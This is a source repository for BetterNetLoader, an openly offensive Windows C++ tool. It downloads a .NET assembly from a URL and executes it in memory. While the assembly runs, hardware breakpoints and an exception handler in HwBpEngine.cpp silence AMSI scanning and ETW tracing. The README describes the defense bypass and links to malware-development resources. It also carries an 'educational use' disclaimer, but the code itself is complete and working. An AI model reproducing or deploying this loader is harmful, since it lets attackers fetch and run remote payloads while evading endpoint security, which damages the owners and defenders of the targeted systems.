├── BetterNetLoader.sln ├── BetterNetLoader ├── BetterNetLoader.cpp ├── BetterNetLoader.filters ├── BetterNetLoader.user ├── BetterNetLoader.vcxproj ├── BetterNetLoader.vcxproj.filters ├── BetterNetLoader.vcxproj.user ├── DotnetExecute.h ├── HwBpEngine.cpp ├── HwBpEngine.h ├── main.cpp └── mscorlib.h └── README.md /BetterNetLoader.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.12.35527.113 d17.12 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "BetterNetLoader", "BetterNetLoader\BetterNetLoader.vcxproj", "{5F4443D9-86FF-4BFC-8FB8-E1DB1509C948}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {5F4443D9-86FF-4BFC-8FB8-E1DB1509C948}.Debug|x64.ActiveCfg = Debug|x64 17 | {5F4443D9-86FF-4BFC-8FB8-E1DB1509C948}.Debug|x64.Build.0 = Debug|x64 18 | {5F4443D9-86FF-4BFC-8FB8-E1DB1509C948}.Debug|x86.ActiveCfg = Debug|Win32 19 | {5F4443D9-86FF-4BFC-8FB8-E1DB1509C948}.Debug|x86.Build.0 = Debug|Win32 20 | {5F4443D9-86FF-4BFC-8FB8-E1DB1509C948}.Release|x64.ActiveCfg = Release|x64 21 | {5F4443D9-86FF-4BFC-8FB8-E1DB1509C948}.Release|x64.Build.0 = Release|x64 22 | {5F4443D9-86FF-4BFC-8FB8-E1DB1509C948}.Release|x86.ActiveCfg = Release|Win32 23 | {5F4443D9-86FF-4BFC-8FB8-E1DB1509C948}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | EndGlobal 29 | -------------------------------------------------------------------------------- /BetterNetLoader/BetterNetLoader.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #include "HwBpEngine.h" 8 | 9 | #pragma comment(lib, "mscoree.lib") 10 | #pragma comment(lib, "wininet.lib") 11 | 12 | #define PIPE_BUFFER_LENGTH 0x10000 * 5 13 | 14 | namespace mscorlib { 15 | #include "mscorlib.h" 16 | } 17 | 18 | 19 | 20 | BOOL ReadFileFromURLA( 21 | IN LPCSTR url, 22 | OUT PBYTE* ppFileBuffer, 23 | OUT PDWORD pdwFileSize 24 | ) { 25 | HINTERNET hInternet = NULL, hConnect = NULL; 26 | PBYTE pBaseAddress = NULL; 27 | DWORD dwFileSize = 0, dwBytesRead = 0, totalBytesRead = 0; 28 | 29 | if (!url || !ppFileBuffer || !pdwFileSize) { 30 | printf("[-] Invalid parameters passed to ReadFileFromURLA.\n"); 31 | return FALSE; 32 | } 33 | 34 | hInternet = InternetOpenA("FileDownloader", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); 35 | if (!hInternet) { 36 | printf("[-] InternetOpenA failed with error: %lu\n", GetLastError()); 37 | return FALSE; 38 | } 39 | 40 | hConnect = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE, 0); 41 | if (!hConnect) { 42 | printf("[-] InternetOpenUrlA failed for URL: %s, Error: %lu\n", url, GetLastError()); 43 | InternetCloseHandle(hInternet); 44 | return FALSE; 45 | } 46 | 47 | pBaseAddress = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 1024 * 1024); // Start with 1MB buffer 48 | if (!pBaseAddress) { 49 | printf("[-] HeapAlloc failed. Error: %lu\n", GetLastError()); 50 | InternetCloseHandle(hConnect); 51 | InternetCloseHandle(hInternet); 52 | return FALSE; 53 | } 54 | 55 | do { 56 | if (totalBytesRead + 1024 > dwFileSize) { 57 | dwFileSize = (dwFileSize + 1024) * 2; 58 | PBYTE newBuffer = (PBYTE)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pBaseAddress, dwFileSize); 59 | if (!newBuffer) { 60 | printf("[-] HeapReAlloc failed. Error: %lu\n", GetLastError()); 61 | HeapFree(GetProcessHeap(), 0, pBaseAddress); 62 | InternetCloseHandle(hConnect); 63 | InternetCloseHandle(hInternet); 64 | return FALSE; 65 | } 66 | pBaseAddress = newBuffer; 67 | } 68 | 69 | if (!InternetReadFile(hConnect, pBaseAddress + totalBytesRead, 1024, &dwBytesRead)) { 70 | printf("[-] InternetReadFile failed. Error: %lu\n", GetLastError()); 71 | HeapFree(GetProcessHeap(), 0, pBaseAddress); 72 | InternetCloseHandle(hConnect); 73 | InternetCloseHandle(hInternet); 74 | return FALSE; 75 | } 76 | totalBytesRead += dwBytesRead; 77 | } while (dwBytesRead > 0); 78 | 79 | *pdwFileSize = totalBytesRead; 80 | *ppFileBuffer = pBaseAddress; 81 | 82 | InternetCloseHandle(hConnect); 83 | InternetCloseHandle(hInternet); 84 | 85 | return TRUE; 86 | } 87 | 88 | HRESULT DotnetExecute( 89 | _In_ PBYTE AssemblyBytes, 90 | _In_ ULONG AssemblySize, 91 | _In_ PWSTR AppDomainName, 92 | _In_ PWSTR Arguments, 93 | _Out_ LPSTR* OutputBuffer, 94 | _Out_ PULONG OutputLength 95 | ) { 96 | HRESULT HResult = {}; 97 | ICLRMetaHost* IMetaHost = {}; 98 | ICLRRuntimeInfo* IRuntimeInfo = {}; 99 | ICorRuntimeHost* IRuntimeHost = {}; 100 | IUnknown* IAppDomainThunk = {}; 101 | mscorlib::_AppDomain* AppDomain = {}; 102 | mscorlib::_Assembly* Assembly = {}; 103 | mscorlib::_MethodInfo* MethodInfo = {}; 104 | SAFEARRAYBOUND SafeArrayBound = {}; 105 | SAFEARRAY* SafeAssembly = {}; 106 | SAFEARRAY* SafeExpected = {}; 107 | SAFEARRAY* SafeArguments = {}; 108 | PWSTR* AssemblyArgv = {}; 109 | ULONG AssemblyArgc = {}; 110 | LONG Index = {}; 111 | VARIANT VariantArgv = {}; 112 | BOOL IsLoadable = {}; 113 | HWND ConExist = {}; 114 | HWND ConHandle = {}; 115 | HANDLE BackupHandle = {}; 116 | HANDLE IoPipeRead = {}; 117 | HANDLE IoPipeWrite = {}; 118 | SECURITY_ATTRIBUTES SecurityAttr = {}; 119 | HANDLE ExceptionHandle = {}; 120 | 121 | // 122 | // create the CLR instance 123 | // 124 | if ((HResult = CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, reinterpret_cast(&IMetaHost)))) { 125 | printf("[-] CLRCreateInstance Failed with Error: %lx\n", HResult); 126 | goto _END_OF_FUNC; 127 | } 128 | 129 | if ((HResult = IMetaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, reinterpret_cast(&IRuntimeInfo)))) { 130 | printf("[-] IMetaHost->GetRuntime Failed with Error: %lx\n", HResult); 131 | goto _END_OF_FUNC; 132 | } 133 | 134 | if ((HResult = IRuntimeInfo->IsLoadable(&IsLoadable)) || !IsLoadable) { 135 | printf("[-] IRuntimeInfo->IsLoadable Failed with Error: %lx (IsLoadable: %s)\n", HResult, IsLoadable ? "true" : "false"); 136 | goto _END_OF_FUNC; 137 | } 138 | 139 | if ((HResult = IRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, reinterpret_cast(&IRuntimeHost)))) { 140 | printf("[-] IRuntimeInfo->GetInterface Failed with Error: %lx\n", HResult); 141 | goto _END_OF_FUNC; 142 | } 143 | 144 | if ((HResult = IRuntimeHost->Start())) { 145 | printf("[-] IRuntimeHost->Start Failed with Error: %lx\n", HResult); 146 | goto _END_OF_FUNC; 147 | } 148 | 149 | if ((HResult = IRuntimeHost->CreateDomain(AppDomainName, nullptr, &IAppDomainThunk))) { 150 | printf("[-] IRuntimeHost->CreateDomain Failed with Error: %lx\n", HResult); 151 | goto _END_OF_FUNC; 152 | } 153 | 154 | if ((HResult = IAppDomainThunk->QueryInterface(IID_PPV_ARGS(&AppDomain)))) { 155 | printf("[-] IAppDomainThunk->QueryInterface Failed with Error: %lx\n", HResult); 156 | goto _END_OF_FUNC; 157 | } 158 | 159 | SafeArrayBound = { AssemblySize, 0 }; 160 | SafeAssembly = SafeArrayCreate(VT_UI1, 1, &SafeArrayBound); 161 | 162 | memcpy(SafeAssembly->pvData, AssemblyBytes, AssemblySize); 163 | 164 | HwbpEngineBreakpoint(0, GetProcAddress(LoadLibraryA("amsi.dll"), "AmsiScanBuffer")); 165 | HwbpEngineBreakpoint(1, GetProcAddress(LoadLibraryA("ntdll.dll"), "NtTraceEvent")); 166 | if (!(ExceptionHandle = AddVectoredExceptionHandler(TRUE, (PVECTORED_EXCEPTION_HANDLER)HwbpEngineHandler))) { 167 | printf("[-] AddVectoredContinueHandler Failed with Error: %lx\n", GetLastError()); 168 | goto _END_OF_FUNC; 169 | } 170 | 171 | if ((HResult = AppDomain->Load_3(SafeAssembly, &Assembly))) { 172 | printf("[-] AppDomain->Load_3 Failed with Error: %lx\n", HResult); 173 | goto _END_OF_FUNC; 174 | } 175 | 176 | if ((HResult = Assembly->get_EntryPoint(&MethodInfo))) { 177 | printf("[-] Assembly->get_EntryPoint Failed with Error: %lx\n", HResult); 178 | goto _END_OF_FUNC; 179 | } 180 | 181 | if ((HResult = MethodInfo->GetParameters(&SafeExpected))) { 182 | printf("[-] MethodInfo->GetParameters Failed with Error: %lx\n", HResult); 183 | goto _END_OF_FUNC; 184 | } 185 | 186 | if (SafeExpected) { 187 | if (SafeExpected->cDims && SafeExpected->rgsabound[0].cElements) { 188 | SafeArguments = SafeArrayCreateVector(VT_VARIANT, 0, 1); 189 | 190 | if (wcslen(Arguments)) { 191 | AssemblyArgv = CommandLineToArgvW(Arguments, (PINT)&AssemblyArgc); 192 | } 193 | 194 | VariantArgv.parray = SafeArrayCreateVector(VT_BSTR, 0, AssemblyArgc); 195 | VariantArgv.vt = (VT_ARRAY | VT_BSTR); 196 | 197 | for (Index = 0; Index < AssemblyArgc; Index++) { 198 | SafeArrayPutElement(VariantArgv.parray, &Index, SysAllocString(AssemblyArgv[Index])); 199 | } 200 | 201 | Index = 0; 202 | SafeArrayPutElement(SafeArguments, &Index, &VariantArgv); 203 | SafeArrayDestroy(VariantArgv.parray); 204 | } 205 | } 206 | 207 | SecurityAttr = { sizeof(SECURITY_ATTRIBUTES), nullptr, TRUE }; 208 | if (!(CreatePipe(&IoPipeRead, &IoPipeWrite, nullptr, PIPE_BUFFER_LENGTH))) { 209 | printf("[-] CreatePipe Failed with Error: %lx\n", GetLastError()); 210 | HResult = GetLastError(); 211 | goto _END_OF_FUNC; 212 | } 213 | 214 | if (!(ConExist = GetConsoleWindow())) { 215 | AllocConsole(); 216 | if ((ConHandle = GetConsoleWindow())) { 217 | ShowWindow(ConHandle, SW_HIDE); 218 | } 219 | } 220 | 221 | BackupHandle = GetStdHandle(STD_OUTPUT_HANDLE); 222 | SetStdHandle(STD_OUTPUT_HANDLE, IoPipeWrite); 223 | 224 | if ((HResult = MethodInfo->Invoke_3(VARIANT(), SafeArguments, nullptr))) { 225 | printf("[-] MethodInfo->GetParameters Failed with Error: %lx\n", HResult); 226 | goto _END_OF_FUNC; 227 | } 228 | 229 | if ((*OutputBuffer = static_cast(HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, PIPE_BUFFER_LENGTH)))) { 230 | if (!ReadFile(IoPipeRead, *OutputBuffer, PIPE_BUFFER_LENGTH, OutputLength, nullptr)) { 231 | printf("[-] ReadFile Failed with Error: %lx\n", GetLastError()); 232 | goto _END_OF_FUNC; 233 | } 234 | } 235 | else { 236 | HResult = ERROR_NOT_ENOUGH_MEMORY; 237 | } 238 | 239 | _END_OF_FUNC: 240 | HwbpEngineBreakpoint(0, nullptr); 241 | HwbpEngineBreakpoint(1, nullptr); 242 | RemoveVectoredExceptionHandler(ExceptionHandle); 243 | 244 | if (BackupHandle) { 245 | SetStdHandle(STD_OUTPUT_HANDLE, BackupHandle); 246 | } 247 | 248 | if (IoPipeRead) { 249 | CloseHandle(IoPipeRead); 250 | } 251 | 252 | if (IoPipeWrite) { 253 | CloseHandle(IoPipeWrite); 254 | } 255 | 256 | if (AssemblyArgv) { 257 | HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, AssemblyArgv); 258 | AssemblyArgv = nullptr; 259 | } 260 | 261 | if (SafeAssembly) { 262 | SafeArrayDestroy(SafeAssembly); 263 | SafeAssembly = nullptr; 264 | } 265 | 266 | if (SafeArguments) { 267 | SafeArrayDestroy(SafeArguments); 268 | SafeArguments = nullptr; 269 | } 270 | 271 | if (MethodInfo) { 272 | MethodInfo->Release(); 273 | } 274 | 275 | if (IRuntimeHost) { 276 | IRuntimeHost->Release(); 277 | } 278 | 279 | if (IRuntimeInfo) { 280 | IRuntimeInfo->Release(); 281 | } 282 | 283 | if (IMetaHost) { 284 | IMetaHost->Release(); 285 | } 286 | 287 | return HResult; 288 | } -------------------------------------------------------------------------------- /BetterNetLoader/BetterNetLoader.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Source Files 23 | 24 | 25 | Source Files 26 | 27 | 28 | 29 | 30 | Header Files 31 | 32 | 33 | Header Files 34 | 35 | 36 | Header Files 37 | 38 | 39 | -------------------------------------------------------------------------------- /BetterNetLoader/BetterNetLoader.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | WindowsLocalDebugger 5 | 6 | -------------------------------------------------------------------------------- /BetterNetLoader/BetterNetLoader.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 17.0 23 | Win32Proj 24 | {5f4443d9-86ff-4bfc-8fb8-e1db1509c948} 25 | ExecuteAssemblyNamedPipes 26 | 10.0 27 | BetterNetLoader 28 | 29 | 30 | 31 | Application 32 | true 33 | v143 34 | Unicode 35 | 36 | 37 | Application 38 | false 39 | v143 40 | true 41 | Unicode 42 | 43 | 44 | Application 45 | true 46 | v143 47 | Unicode 48 | 49 | 50 | Application 51 | false 52 | v143 53 | true 54 | Unicode 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | Level3 77 | true 78 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 79 | true 80 | 81 | 82 | Console 83 | true 84 | 85 | 86 | 87 | 88 | Level3 89 | true 90 | true 91 | true 92 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 93 | true 94 | 95 | 96 | Console 97 | true 98 | true 99 | true 100 | 101 | 102 | 103 | 104 | Level3 105 | true 106 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 107 | true 108 | 109 | 110 | Console 111 | true 112 | 113 | 114 | 115 | 116 | Level3 117 | true 118 | true 119 | true 120 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 121 | true 122 | 123 | 124 | Console 125 | true 126 | true 127 | true 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | -------------------------------------------------------------------------------- /BetterNetLoader/BetterNetLoader.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Source 6 | 7 | 8 | Source 9 | 10 | 11 | Source 12 | 13 | 14 | 15 | 16 | Header 17 | 18 | 19 | Header 20 | 21 | 22 | Header 23 | 24 | 25 | 26 | 27 | {bd664979-cf07-4c0e-bd84-745823d4e1aa} 28 | 29 | 30 | {6d1a61fd-07e6-474a-b6c4-c3877f989f8b} 31 | 32 | 33 | -------------------------------------------------------------------------------- /BetterNetLoader/BetterNetLoader.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /BetterNetLoader/DotnetExecute.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | HRESULT DotnetExecute( 5 | _In_ PBYTE AssemblyBytes, 6 | _In_ ULONG AssemblySize, 7 | _In_ PWSTR AppDomainName, 8 | _In_ PWSTR Arguments, 9 | _Out_ LPSTR* OutputBuffer, 10 | _Out_ PULONG OutputLength 11 | ); 12 | 13 | BOOL ReadFileFromURLA( 14 | IN LPCSTR url, 15 | OUT PBYTE* ppFileBuffer, 16 | OUT PDWORD pdwFileSize 17 | ); -------------------------------------------------------------------------------- /BetterNetLoader/HwBpEngine.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | BOOL HwbpEngineBreakpoint( 6 | _In_ ULONG Position, 7 | _In_ PVOID Function 8 | ) { 9 | CONTEXT Context = {}; 10 | 11 | SecureZeroMemory(&Context, sizeof(Context)); 12 | 13 | Context.ContextFlags = CONTEXT_DEBUG_REGISTERS; 14 | if (!GetThreadContext(GetCurrentThread(), &Context)) { 15 | printf("[-] GetThreadContext Failed with Error: %lx\n", GetLastError()); 16 | return FALSE; 17 | } 18 | if (Function) { 19 | (&Context.Dr0)[Position] = (UINT_PTR)Function; 20 | 21 | Context.Dr7 &= ~(3ull << (16 + 4 * Position)); 22 | Context.Dr7 &= ~(3ull << (18 + 4 * Position)); 23 | Context.Dr7 |= 1ull << (2 * Position); 24 | } 25 | else { 26 | (&Context.Dr0)[Position] = 0; 27 | Context.Dr7 &= ~(1ull << (2 * Position)); 28 | } 29 | 30 | if (!SetThreadContext(GetCurrentThread(), &Context)) { 31 | printf("[-] SetThreadContext Failed with Error: %lx\n", GetLastError()); 32 | return FALSE; 33 | } 34 | 35 | return TRUE; 36 | } 37 | 38 | BOOL HwbpEngineHandler( 39 | _Inout_ PEXCEPTION_POINTERS Exceptions 40 | ) { 41 | LONG Result = {}; 42 | PVOID AmsiAddress = {}; 43 | PVOID EtwAddress = {}; 44 | PEXCEPTION_RECORD Exception = {}; 45 | PCONTEXT Context = {}; 46 | UINT_PTR Return = {}; 47 | PULONG ScanResult = {}; 48 | 49 | AmsiAddress = GetProcAddress(GetModuleHandleA("amsi.dll"), "AmsiScanBuffer"); 50 | EtwAddress = GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtTraceEvent"); 51 | Exception = Exceptions->ExceptionRecord; 52 | Context = Exceptions->ContextRecord; 53 | 54 | if (Exception->ExceptionCode == EXCEPTION_SINGLE_STEP) 55 | { 56 | if (Exception->ExceptionAddress == AmsiAddress) 57 | { 58 | Return = *(PULONG_PTR)Context->Rsp; 59 | ScanResult = (PULONG)(*(PULONG_PTR)(Context->Rsp + (6 * sizeof(PVOID)))); 60 | *ScanResult = 0; 61 | Context->Rip = Return; 62 | Context->Rsp += sizeof(PVOID); 63 | Context->Rax = S_OK; 64 | 65 | return EXCEPTION_CONTINUE_EXECUTION; 66 | } 67 | 68 | if (Exception->ExceptionAddress == EtwAddress) 69 | { 70 | Context->Rip = *(PULONG_PTR)Context->Rsp; 71 | Context->Rsp += sizeof(PVOID); 72 | Context->Rax = STATUS_SUCCESS; 73 | return EXCEPTION_CONTINUE_EXECUTION; 74 | } 75 | } 76 | 77 | return EXCEPTION_CONTINUE_SEARCH; 78 | } -------------------------------------------------------------------------------- /BetterNetLoader/HwBpEngine.h: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | BOOL HwbpEngineBreakpoint( 4 | _In_ ULONG Position, 5 | _In_ PVOID Function 6 | ); 7 | 8 | BOOL HwbpEngineHandler( 9 | _Inout_ PEXCEPTION_POINTERS Exceptions 10 | ); -------------------------------------------------------------------------------- /BetterNetLoader/main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include "DotnetExecute.h" 6 | 7 | BOOL ReadFileFromURLA( 8 | IN LPCSTR url, 9 | OUT PBYTE* ppFileBuffer, 10 | OUT PDWORD pdwFileSize 11 | ); 12 | 13 | int main(int argc, char* argv[]) { 14 | PBYTE AssemblyBytes = NULL; 15 | DWORD AssemblySize = 0; 16 | LPSTR OutputBuffer = NULL; 17 | ULONG OutputLength = 0; 18 | 19 | if (argc < 2) { 20 | printf("Usage: %s [arguments...]\n", argv[0]); 21 | return 1; 22 | } 23 | 24 | LPCSTR url = argv[1]; 25 | PWSTR arguments = NULL; 26 | 27 | if (argc > 2) { 28 | size_t totalLen = 0; 29 | for (int i = 2; i < argc; i++) { 30 | totalLen += strlen(argv[i]) + 1; 31 | } 32 | 33 | arguments = (PWSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, totalLen * sizeof(WCHAR)); 34 | if (!arguments) { 35 | printf("[-] HeapAlloc failed for arguments\n"); 36 | return 1; 37 | } 38 | 39 | size_t convertedChars = 0; 40 | for (int i = 2; i < argc; i++) { 41 | errno_t err = mbstowcs_s(&convertedChars, arguments + wcslen(arguments), totalLen, argv[i], _TRUNCATE); 42 | if (err != 0) { 43 | printf("[-] mbstowcs_s failed with error code: %d\n", err); 44 | HeapFree(GetProcessHeap(), 0, arguments); 45 | return 1; 46 | } 47 | if (i < argc - 1) { 48 | wcscat_s(arguments, totalLen, L" "); 49 | } 50 | } 51 | } 52 | else { 53 | arguments = (PWSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(WCHAR)); 54 | if (!arguments) { 55 | printf("[-] HeapAlloc failed for empty arguments\n"); 56 | return 1; 57 | } 58 | arguments[0] = L'\0'; 59 | } 60 | 61 | if (!ReadFileFromURLA(url, &AssemblyBytes, &AssemblySize)) { 62 | puts("[-] ReadFileFromURLA Failed"); 63 | HeapFree(GetProcessHeap(), 0, arguments); 64 | return 1; 65 | } 66 | 67 | if (DotnetExecute(AssemblyBytes, AssemblySize, (PWSTR)L"MyAppDomain", arguments, &OutputBuffer, &OutputLength)) { 68 | puts("[-] DotnetExecute Failed"); 69 | } 70 | else { 71 | printf("\n\n%s", OutputBuffer); 72 | } 73 | 74 | HeapFree(GetProcessHeap(), 0, AssemblyBytes); 75 | HeapFree(GetProcessHeap(), 0, OutputBuffer); 76 | HeapFree(GetProcessHeap(), 0, arguments); 77 | return 0; 78 | } 79 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # BetterNetLoader 2 | 3 | This is a version of [NetLoader](https://github.com/Flangvik/NetLoader) to execute .NET Assemblies in memory and bypassing ETW and AMSI. 4 | 5 | Only this version uses Hardware Breakpoints to bypass defenses: 6 | ```cpp 7 | HwbpEngineBreakpoint(0, GetProcAddress(LoadLibraryA("amsi.dll"), "AmsiScanBuffer")); 8 | HwbpEngineBreakpoint(1, GetProcAddress(LoadLibraryA("ntdll.dll"), "NtTraceEvent")); 9 | if (!(ExceptionHandle = AddVectoredExceptionHandler(TRUE, (PVECTORED_EXCEPTION_HANDLER)HwbpEngineHandler))) { 10 | printf("[-] AddVectoredContinueHandler Failed with Error: %lx\n", GetLastError()); 11 | goto _END_OF_FUNC; 12 | } 13 | ``` 14 | 15 | It places 2 Hardware Breakpoints: one on `AmsiScanBuffer` and another on `NtTraceEvent` to effectively disable these two functions part of AMSI and ETW respectively. 16 | 17 | # Usage: 18 | 19 | ```cmd 20 | .\BetterNetLoader.exe 21 | ``` 22 | 23 | # Example: 24 | ![image](https://github.com/user-attachments/assets/1ad9283c-057e-4e30-be0b-a7c3303dabf5) 25 | 26 | # Resources 27 | 28 | Hosting the CLR Natively -> https://github.com/etormadiv/HostingCLR 29 | 30 | Microsoft Documentation on CLR Hosting using COM Interfaces -> https://learn.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/clr-hosting-interfaces 31 | 32 | Hardware Breakpoint Sample Code (recommended for maldev snippets) -> https://github.com/rad9800/hwbp4mw 33 | 34 | VX-API (recommended for maldev snippets) -> https://github.com/vxunderground/VX-API 35 | 36 | Maldev Academy for learning about Malware Development -> https://maldevacademy.com 37 | 38 | Information about Wininet from Microsoft -> https://learn.microsoft.com/en-us/windows/win32/wininet/about-wininet 39 | 40 | Gists for Wininet Windows Library for HTTP Requests -> https://gist.github.com/AhnMo/5cf37bbd9a6fa2567f99ac0528eaa185 41 | 42 | # DISCLAIMER 43 | 44 | ## IMPORTANT: READ CAREFULLY BEFORE USING THIS SOFTWARE 45 | 46 | By using this software, you agree to the following terms: 47 | 48 | ## Purpose of Use 49 | This software is provided strictly for educational purposes only, specifically to help users understand programming techniques, cybersecurity concepts, and software development practices. It is not intended to be used for any malicious, illegal, or unethical activities. 50 | 51 | ## Prohibited Activities 52 | Any use of this software for the following purposes is explicitly prohibited and is a violation of this agreement: 53 | 54 | Exploiting vulnerabilities or gaining unauthorized access to systems, networks, or devices. 55 | Developing or deploying malicious software, such as viruses, trojans, or ransomware. 56 | Engaging in any activities that violate local, national, or international laws or regulations. 57 | Conducting activities that cause harm, disruption, or damage to any individual, organization, or system. 58 | 59 | ## Liability and Responsibility 60 | 61 | The author of this software assumes no liability or responsibility for any damages, losses, or legal consequences resulting from the misuse of this software. 62 | The user is solely responsible for ensuring compliance with all applicable laws and regulations in their jurisdiction. The author disclaims all liability for actions taken by users that violate these laws or this disclaimer. 63 | Acknowledgment of Ethical Use 64 | 65 | ## By using this software, you acknowledge and agree to: 66 | 67 | Use the software in a responsible, ethical, and lawful manner. 68 | Refrain from using the software in any way that could harm individuals, organizations, or infrastructure. 69 | Understand that this software is provided "as is," without any warranty or guarantee of functionality or suitability for any purpose. 70 | 71 | ## Educational Focus 72 | This software is designed to educate and enhance skills in secure programming, ethical cybersecurity practices, and system understanding. It is intended for use in controlled environments, such as personal research or academic study, where proper authorization has been granted. 73 | 74 | By downloading, installing, or using this software, you acknowledge that you have read, understood, and agreed to this disclaimer. If you do not agree with these terms, you are strictly prohibited from using the software and must delete it immediately. 75 | --------------------------------------------------------------------------------